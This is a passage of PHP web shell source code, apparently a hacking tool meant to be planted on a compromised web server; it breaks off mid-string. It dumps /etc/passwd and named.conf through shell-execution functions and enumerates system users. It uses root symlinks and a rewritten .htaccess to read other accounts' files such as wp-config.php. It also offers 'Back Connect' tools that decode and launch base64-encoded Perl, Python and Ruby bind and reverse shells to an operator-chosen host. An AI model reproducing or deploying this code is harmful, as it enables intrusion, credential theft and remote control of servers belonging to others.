type=\"submit\" class=\"fiture btn btn-danger btn-sm\" value=\"System Function\" name=\"syst\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-danger btn-sm\" value=\"Passthru Function\" name=\"passth\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-danger btn-sm\" value=\"Exec Function\" name=\"ex\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-danger btn-sm\" value=\"Shell_exec Function\" name=\"shex\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-danger btn-sm\" value=\"Posix_getpwuid Function\" name=\"melex\">\r\n\t\t\t</div><hr/>\r\n\t\t\t<p class=\"text-center\">Bypass User With :</p>\r\n\t\t\t<div class=\"d-flex justify-content-center flex-wrap\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-warning btn-sm\" value=\"Awk Program\" name=\"awkuser\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-warning btn-sm\" value=\"System Function\" name=\"systuser\">\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-warning btn-sm\" value=\"Passthru Function\" name=\"passthuser\">\t\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-warning btn-sm\" value=\"Exec Function\" name=\"exuser\">\t\t\r\n\t\t\t\t<input type=\"submit\" class=\"fiture btn btn-warning btn-sm\" value=\"Shell_exec Function\" name=\"shexuser\">\r\n\t\t\t</div>\r\n\t\t</form>';\r\n\t\t\$mail = 'ls /var/mail';\r\n\t\t\$paswd = '/etc/passwd';\r\n\t\tif(\$_POST['syst']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo system(\"cat \$paswd\");\r\n\t\t\techo\"</textarea><br/>\";\r\n\t\t}\r\n\t\tif(\$_POST['passth']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo passthru(\"cat \$paswd\");\r\n\t\t\techo\"</textarea><br/>\";\r\n\t\t}\r\n\t\tif(\$_POST['ex']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo exec(\"cat \$paswd\");\r\n\t\t\techo\"</textarea><br/>\";\r\n\t\t}\r\n\t\tif(\$_POST['shex']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo shell_exec(\"cat \$paswd\");\r\n\t\t\techo\"</textarea><br/>\";\r\n\t\t}\r\n\t\tif(\$_POST['melex']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\tfor(\$uid=0;\$uid<6000;\$uid++){ \r\n\t\t\t\t\$ara = posix_getpwuid(\$uid);\r\n\t\t\t\tif (!empty(\$ara)){\r\n\t\t\t\t\twhile (list (\$key, \$val) = each(\$ara)){\r\n\t\t\t\t\t\tprint \"\$val:\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tprint \"n\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo\"</textarea><br/>\";\r\n\t\t}\r\n\t\t\r\n\t\tif (\$_POST['awkuser']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\r\n\t\t\t\t\".shell_exec(\"awk -F: '{ print \$1 }' \$paswd | sort\").\"\r\n\t\t\t</textarea><br/>\";\r\n\t\t}\r\n\t\tif (\$_POST['systuser']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo system(\"\$mail\");\r\n\t\t\techo \"</textarea><br>\";\r\n\t\t}\r\n\t\tif (\$_POST['passthuser']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo passthru(\"\$mail\");\r\n\t\t\techo \"</textarea><br>\";\r\n\t\t}\r\n\t\tif (\$_POST['exuser']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo exec(\"\$mail\");\r\n\t\t\techo \"</textarea><br>\";\r\n\t\t}\r\n\t\tif (\$_POST['shexuser']){\r\n\t\t\techo\"<textarea class='form-control' rows='13'>\";\r\n\t\t\techo shell_exec(\"\$mail\");\r\n\t\t\techo \"</textarea><br>\";\r\n\t\t}\r\n\techo \"</div>\";\r\n\texit;\r\n}\r\nfunction aksiAdminer(\$dir,\$file){\r\n\t\$full = str_replace(\$_SERVER['DOCUMENT_ROOT'], \"\", \$dir);\r\n\tfunction adminer(\$url, \$isi){\r\n\t\t\$fp = fopen(\$isi, \"w\");\r\n\t\t\$ch = curl_init();\r\n\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url);\r\n\t\tcurl_setopt(\$ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\tcurl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\tcurl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\tcurl_setopt(\$ch, CURLOPT_FILE, \$fp);\r\n\t\treturn curl_exec(\$ch);\r\n\t\tcurl_close(\$ch);\r\n\t\tfclose(\$fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists('adminer.php')){\r\n\t\techo \"<a href='\$full/adminer.php' target='_blank' class='text-center btn btn-Success btn-block mb-3'>Login Adminer</a>\";\r\n\t}else{\r\n\t\tif(adminer(\"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php\",\"adminer.php\")){\r\n\t\t\techo \"<p class='text-center'>Success Creating Adminer</p><a href='\$full/adminer.php' target='_blank' class='text-center btn btn-Success btn-block mb-3'>Login Adminer</a>\";\r\n\t\t}else{\r\n\t\t\techo \"<p class='text-center text-danger'>Failed Creating Adminer</p>\";\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiSym(\$dir,\$file){\r\n\t\$full = str_replace(\$_SERVER['DOCUMENT_ROOT'], \"\", \$dir);\r\n\t\$d0mains = @file(\"/etc/named.conf\");\r\n\tif(!\$d0mains){\r\n\t\tdie (\"[ <a href='?dir=\$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=\$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=\$dir&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error unable to read /etc/named.conf</font><br/><br/>\");\r\n\t}\r\n\t##htaccess\r\n\tif(\$d0mains){\r\n\t\t@mkdir(\"angkol_sym\",0777);\r\n\t\t@chdir(\"angkol_sym\");\r\n\t\t@exe(\"ln -s / root\");\r\n\t\t\$file3 = 'Options Indexes FollowSymLinks\r\n\t\tDirectoryIndex indsc.html\r\n\t\tAddType text/plain php html php5 phtml\r\n\t\tAddHandler text/plain php html php5 phtml\r\n\t\tSatisfy Any';\r\n\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\r\n\t\techo \"[ <a href='?dir=\$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=\$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=\$dir&aksi=sym_bypas'>Symlink Bypass</a> ]\r\n\t\t<div class='tmp'>\r\n\t\t<table class='text-center table-responsive'>\r\n\t\t\t<thead class='bg-info'>\r\n\t\t\t\t<th>No.</th>\r\n\t\t\t\t<th>Domains</th>\r\n\t\t\t\t<th>Users</th>\r\n\t\t\t\t<th>symlink </th>\r\n\t\t\t</thead>\";\r\n\t\t\t\$dcount = 1;\r\n\t\t\tforeach(\$d0mains as \$d0main){\r\n\t\t\t\tif(eregi(\"zone\",\$d0main)){\r\n\t\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2){\r\n\t\t\t\t\t\t\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\n\t\t\t\t\t\techo \"<tr>\r\n\t\t\t\t\t\t\t<td>\".\$dcount.\"</td>\r\n\t\t\t\t\t\t\t<td class='text-left'><a href=http://www.\".\$domains[1][0].\"/>\".\$domains[1][0].\"</a></td>\r\n\t\t\t\t\t\t\t<td>\".\$user['name'].\"</td>\r\n\t\t\t\t\t\t\t<td><a href='\$full/angkol_sym/root/home/\".\$user['name'].\"/public_html' target='_blank'>Symlink</a></td>\r\n\t\t\t\t\t\t</tr>\";\r\n\t\t\t\t\t\tflush();\r\n\t\t\t\t\t\t\$dcount++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\techo \"</table></div>\";\r\n\t}else{\r\n\t\t\$TEST = @file('/etc/passwd');\r\n\t\tif (\$TEST){\r\n\t\t\t@mkdir(\"angkol_sym\",0777);\r\n\t\t\t@chdir(\"angkol_sym\");\r\n\t\t\t@exe(\"ln -s / root\");\r\n\t\t\t\$file3 = 'Options Indexes FollowSymLinks\r\n\t\t\tDirectoryIndex indsc.html\r\n\t\t\tAddType text/plain php html php5 phtml\r\n\t\t\tAddHandler text/plain php html php5 phtml\r\n\t\t\tSatisfy Any';\r\n\t\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t\t@fclose(\$fp3);\r\n\t\t\techo \"[ <a href='?dir=\$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=\$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=\$dir&aksi=sym_bypas'>Symlink Bypass</a> ]\r\n\t\t\t<div class='tmp'>\r\n\t\t\t<table class='text-center table-responsive'>\r\n\t\t\t\t<thead class='bg-warning'>\r\n\t\t\t\t\t<th>No.</th>\r\n\t\t\t\t\t<th>Users</th>\r\n\t\t\t\t\t<th>symlink </th>\r\n\t\t\t\t</thead>\";\r\n\t\t\t\t\$dcount = 1;\r\n\t\t\t\t\$file = fopen(\"/etc/passwd\", \"r\") or exit(\"Unable to open file!\");\r\n\t\t\t\twhile(!feof(\$file)){\r\n\t\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo \"<tr>\r\n\t\t\t\t\t\t<td>\".\$dcount.\"</td>\r\n\t\t\t\t\t\t<td>\".\$matches.\"</td>\r\n\t\t\t\t\t\t<td><a href=\$full/angkol_sym/root/home/\".\$matches.\"/public_html target='_blank'>Symlink</a></td>\r\n\t\t\t\t\t</tr>\";\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$file);\r\n\t\t\techo \"</table></div>\";\r\n\t\t}else{\r\n\t\tif(\$os != \"Windows\"){\r\n\t\t\t@mkdir(\"angkol_sym\",0777);\r\n\t\t\t@chdir(\"angkol_sym\");\r\n\t\t\t@exe(\"ln -s / root\");\r\n\t\t\t\$file3 = 'Options Indexes FollowSymLinks\r\n\t\t\tDirectoryIndex indsc.html\r\n\t\t\tAddType text/plain php html php5 phtml\r\n\t\t\tAddHandler text/plain php html php5 phtml\r\n\t\t\tSatisfy Any';\r\n\t\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\t\$fw3 = fwrite(\$fp3,\$file3);@fclose(\$fp3);\r\n\t\t\techo \"[ <a href='?dir=\$dir&aksi=symread'>Bypass Read</a> ] [ <a href='?dir=\$dir&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir=\$dir&aksi=sym_bypas'>Symlink Bypass</a> ]\r\n\t\t\t<div class='tmp'><table class='text-center table-responsive'>\r\n\t\t\t\t<thead class='bg-danger'>\r\n\t\t\t\t\t<th>ID.</th>\r\n\t\t\t\t\t<th>Users</th>\r\n\t\t\t\t\t<th>symlink </th>\r\n\t\t\t\t</thead>\";\r\n\t\t\t\t\$temp = \"\";\$val1 = 0;\$val2 = 1000;\r\n\t\t\t\tfor(;\$val1 <= \$val2;\$val1++){\r\n\t\t\t\t\t\$uid = @posix_getpwuid(\$val1);\r\n\t\t\t\t\tif (\$uid)\$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t\t}\r\n\t\t\t\techo '<br/>';\$temp = trim(\$temp);\r\n\t\t\t\t\$file5 = fopen(\"test.txt\",\"w\");\r\n\t\t\t\tfputs(\$file5,\$temp);\r\n\t\t\t\tfclose(\$file5);\$dcount = 1;\$file =\r\n\t\t\t\tfopen(\"test.txt\", \"r\") or exit(\"Unable to open file!\");\r\n\t\t\t\twhile(!feof(\$file)){\r\n\t\t\t\t\t\$s = fgets(\$file);\$matches = array();\r\n\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo \"<tr>\r\n\t\t\t\t\t\t<td>\".\$dcount.\"</td>\r\n\t\t\t\t\t\t<td>\".\$matches.\"</td>\r\n\t\t\t\t\t\t<td><a href=\$full/AnonPrixor_sym/root/home/\".\$matches.\"/public_html target='_blank'>Symlink</a></td>\r\n\t\t\t\t\t</tr>\";\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$file);\r\n\t\t\techo \"</table></div>\";\r\n\t\t\tunlink(\"test.txt\");\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\texit;\r\n}\r\nfunction aksiSymread(\$dir,\$file){\r\n\techo \"read /etc/named.conf\r\n\t<form method='post' action='?dir=\$dir&aksi=symread&save=1'>\r\n\t<textarea class='form-control' rows='13' name='file'>\";\r\n\t\tflush();\r\n\t\tflush();\r\n\t\t\$file = '/etc/named.conf';\r\n\t\t\$r3ad = @fopen(\$file, 'r');\r\n\t\tif (\$r3ad){\r\n\t\t\t\$content = @fread(\$r3ad, @filesize(\$file));\r\n\t\t\techo \"\".htmlentities(\$content).\"\";\r\n\t\t}else if (!\$r3ad){\r\n\t\t\t\$r3ad = @show_source(\$file) ;\r\n\t\t}else if (!\$r3ad){\r\n\t\t\t\$r3ad = @highlight_file(\$file);\r\n\t\t}else if (!\$r3ad){\r\n\t\t\t\$sm = @symlink(\$file,'sym.txt');\r\n\t\t\tif (\$sm){\r\n\t\t\t\t\$r3ad = @fopen('AnonPrixor_sym/sym.txt', 'r');\r\n\t\t\t\t\$content = @fread(\$r3ad, @filesize(\$file));\r\n\t\t\t\techo \"\".htmlentities(\$content).\"\";\r\n\t\t\t}\r\n\t\t}\r\n\techo \"</textarea><br/><input type='submit' class='btn btn-danger form-control' value='Save'/> </form>\";\r\n\tif(isset(\$_GET['save'])){\r\n\t\t\$cont = stripcslashes(\$_POST['file']);\r\n\t\t\$f = fopen('named.txt','w');\r\n\t\t\$w = fwrite(\$f,\$cont);\r\n\t\tif(\$w){\r\n\t\t\techo '<br/>save has been Successfully';\r\n\t\t}\r\n\t\tfclose(\$f);\r\n\t}\r\n\texit;\r\n}\r\nfunction sym404(\$dir,\$file){\r\n\t\$cp = get_current_user();\r\n\tif(\$_POST['execute']){\r\n\t\t@rmdir(\"angkol_sym404\");\r\n\t\t@mkdir(\"angkol_sym404\", 0777);\r\n\t\t\$dir = \$_POST['dir'];\r\n\t\t\$isi = \$_POST['isi'];\r\n\t\t@system(\"ln -s \".\$dir.\"angkol_sym404/\".\$isi);\r\n\t\t@symlink(\$dir,\"angkol_sym404/\".\$isi);\r\n\t\t\$inija = fopen(\"angkol_sym404/.htaccess\", \"w\");\r\n\t\t@fwrite(\$inija,\"ReadmeName \".\$isi.\"\\nOptions Indexes FollowSymLinks\\nDirectoryIndex ids.html\\nAddType text/plain php html php5 phtml\\nAddHandler text/plain php html php5 phtml\\nSatisfy Any\");\r\n\t\techo'<a href=\"/angkol_sym404/\" target=\"_blank\" class=\"btn btn-Success btn-block mb-3\">Click Me!!</a>';\r\n\t}else{\r\n\t\techo '<h2>Symlink 404</h2>\r\n\t\t<form method=\"post\">\r\n\t\t\tFile Target: <input type=\"text\" class=\"form-control\" name=\"dir\" value=\"/home/'.\$cp.'/public_html/wp-config.php\"><br/>\r\n\t\t\tSave As: <input type=\"text\" class=\"form-control\" name=\"isi\" placeholder=\"file.txt\"/><br/>\r\n\t\t\t<input type=\"submit\" class=\"btn btn-danger btn-block\" value=\"Execute\" name=\"execute\"/>\r\n\t\t\t<p class=\"text-muted\">This Tool only work in Folder |<u>public_html/wp-config.php</u>| So please change according to location.</p>\r\n\t\t</form>';\r\n\t}\r\n\texit;\r\n}\r\nfunction symBypass(\$dir,\$file){\r\n\t\$full = str_replace(\$_SERVER['DOCUMENT_ROOT'], \"\", \$dir);\r\n\t\$pageFTP = 'ftp://'.\$_SERVER[\"SERVER_NAME\"].'/public_html/'.\$_SERVER[\"REQUEST_URI\"];\r\n\t\$u = explode(\"/\",\$pageFTP );\r\n\t\$pageFTP =str_replace(\$u[count(\$u)-1],\"\",\$pageFTP );\r\n\tif(isset(\$_GET['save']) and isset(\$_POST['file']) or @filesize('passwd.txt') > 0){\r\n\t\t\$cont = stripcslashes(\$_POST['file']);\r\n\t\tif(!file_exists('passwd.txt')){\r\n\t\t\t\$f = @fopen('passwd.txt','w');\r\n\t\t\t\$w = @fwrite(\$f,\$cont);\r\n\t\t\tfclose(\$f);\r\n\t\t}\r\n\t\tif(\$w or @filesize('passwd.txt') > 0){\r\n\t\t\techo \"<div class='tmp'>\r\n\t\t\t<table width='100%' class='text-center table-responsive mb-4'>\r\n\t\t\t\t<thead class='bg-info'>\r\n\t\t\t\t\t<th>Users</th>\r\n\t\t\t\t\t<th>symlink</th>\r\n\t\t\t\t\t<th>FTP</th>\r\n\t\t\t\t</thead>\";\r\n\t\t\t\tflush();\r\n\t\t\t\t\$fil3 = file('passwd.txt');\r\n\t\t\t\tforeach (\$fil3 as \$f){\r\n\t\t\t\t\t\$u=explode(':', \$f);\r\n\t\t\t\t\t\$user = \$u['0'];\r\n\t\t\t\t\techo \"<tr>\r\n\t\t\t\t\t\t<td class='text-left pl-1'>\$user</td>\r\n\t\t\t\t\t\t<td><a href='\$full/sym/root/home/\$user/public_html' target='_blank'>Symlink </a></td>\r\n\t\t\t\t\t\t<td><a href='\$pageFTP/sym/root/home/\$user/public_html' target='_blank'>FTP</a></td>\r\n\t\t\t\t\t</tr>\";\r\n\t\t\t\t\tflush();\r\n\t\t\t\t\tflush();\r\n\t\t\t\t}\r\n\t\t\techo \"</tr></table></div>\";\r\n\t\t\tdie();\r\n\t\t}\r\n\t}\r\n\techo \"read /etc/passwd <font color='red'>Error ? </font><a href='?dir=\".\$dir.\"&aksi=passwbypass'>Bypass Here</a>\r\n\t<form method='post' action='?dir=\$dir&aksi=sym_bypas&save=1'>\r\n\t\t<textarea class='form-control' rows='13' name='file'>\";\r\n\t\t\tflush();\r\n\t\t\t\$file = '/etc/passwd';\r\n\t\t\t\$r3ad = @fopen(\$file, 'r');\r\n\t\t\tif (\$r3ad){\r\n\t\t\t\t\$content = @fread(\$r3ad, @filesize(\$file));\r\n\t\t\t\techo \"\".htmlentities(\$content).\"\";\r\n\t\t\t}elseif(!\$r3ad){\r\n\t\t\t\t\$r3ad = @show_source(\$file) ;\r\n\t\t\t}elseif(!\$r3ad){\r\n\t\t\t\t\$r3ad = @highlight_file(\$file);\r\n\t\t\t}elseif(!\$r3ad){\r\n\t\t\t\tfor(\$uid=0;\$uid<1000;\$uid++){\r\n\t\t\t\t\$ara = posix_getpwuid(\$uid);\r\n\t\t\t\tif (!empty(\$ara)){\r\n\t\t\t\t\twhile (list (\$key, \$val) = each(\$ara)){\r\n\t\t\t\t\t\tprint \"\$val:\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tprint \"\\n\";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tflush();\r\n\t\techo \"</textarea><br/>\r\n\t\t<input type='submit' class='btn btn-danger btn-block' value='Symlink'/>\r\n\t</form>\";\r\n\tflush();\r\n\texit;\r\n}\r\nfunction bcTool(\$dir,\$file){\r\n\techo \"<h4 class='text-center mb-4'>Back Connect Tools</h4>\r\n\t<form method='post'>\r\n\t\t<div class='row'>\r\n\t\t\t<div class='col-md-10'>\r\n\t\t\t\t<span>Bind port to /bin/sh [Perl]</span><br/>\r\n\t\t\t\t<label>Port :</label>\r\n\t\t\t\t<div class='form-group input-group mb-4'>\r\n\t\t\t\t\t<input type='text' name='port' class='form-control' value='6969'>\r\n\t\t\t\t\t<input type='submit' name='bpl' class='btn btn-danger form-control' value='Reserve'>\r\n\t\t\t\t</div>\r\n\t\t\t\t<h5>Back-Connect</h5>\r\n\t\t\t\t<label>Server :</label>\r\n\t\t\t\t<input type='text' name='server' class='form-control mb-3' placeholder='\". \$_SERVER['REMOTE_ADDR'] .\"'>\r\n\t\t\t\t<label>Port :</label>\r\n\t\t\t\t<div class='form-group input-group mb-4'>\r\n\t\t\t\t\t<input type='text' name='port' class='form-control' placeholder='443'>\r\n\t\t\t\t\t<select class='form-control' name='backconnect'>\r\n\t\t\t\t\t\t<option value='perl'>Perl</option>\r\n\t\t\t\t\t\t<option value='php'>PHP</option>\r\n\t\t\t\t\t\t<option value='python'>Python</option>\r\n\t\t\t\t\t\t<option value='ruby'>Ruby</option>\r\n\t\t\t\t\t</select>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type='submit' class='btn btn-danger btn-block' value='Connect'>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</form>\";\r\n\tif(\$_POST['bpl']){\r\n\t\t\$bp = base64_decode(\"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=\");\r\n\t\t\$brt = @fopen('bp.pl','w');\r\n\t\tfwrite(\$brt,\$bp);\r\n\t\t\$out = exe(\"perl bp.pl \".\$_POST['port'].\" 1>/dev/null 2>&1 &\");\r\n\t\tsleep(1);\r\n\t\techo \"<pre class='text-light'>\$out\\n\".exe(\"ps aux | grep bp.pl\").\"</pre>\";\r\n\t\tunlink(\"bp.pl\");\r\n\t}\r\n\tif(\$_POST['backconnect'] == 'perl'){\r\n\t\t\$bc = base64_decode(\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7\");\r\n\t\t\$plbc = @fopen('bc.pl','w');\r\n\t\tfwrite(\$plbc,\$bc);\r\n\t\t\$out = exe(\"perl bc.pl \".\$_POST['server'].\" \".\$_POST['port'].\" 1>/dev/null 2>&1 &\");\r\n\t\tsleep(1);\r\n\t\techo \"<pre class='text-light'>\$out\\n\".exe(\"ps aux | grep bc.pl\").\"</pre>\";\r\n\t\tunlink(\"bc.pl\");\r\n\t}\r\n\tif(\$_POST['backconnect'] == 'python'){\r\n\t\t\$becaa = base64_decode(\"IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk=\");\r\n\t\t\$pbcaa = @fopen('bcpyt.py','w');\r\n\t\tfwrite(\$pbcaa,\$becaa);\r\n\t\t\$out1 = exe(\"python bcpyt.py \".\$_POST['server'].\" \".\$_POST['port']);\r\n\t\tsleep(1);\r\n\t\techo \"<pre class='text-light'>\$out1\\n\".exe(\"ps aux | grep bcpyt.py\").\"</pre>\";\r\n\t\tunlink(\"bcpyt.py\");\r\n\t}\r\n\tif(\$_POST['backconnect'] == 'ruby'){\r\n\t\t\$becaak = base64_decode(\"IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxD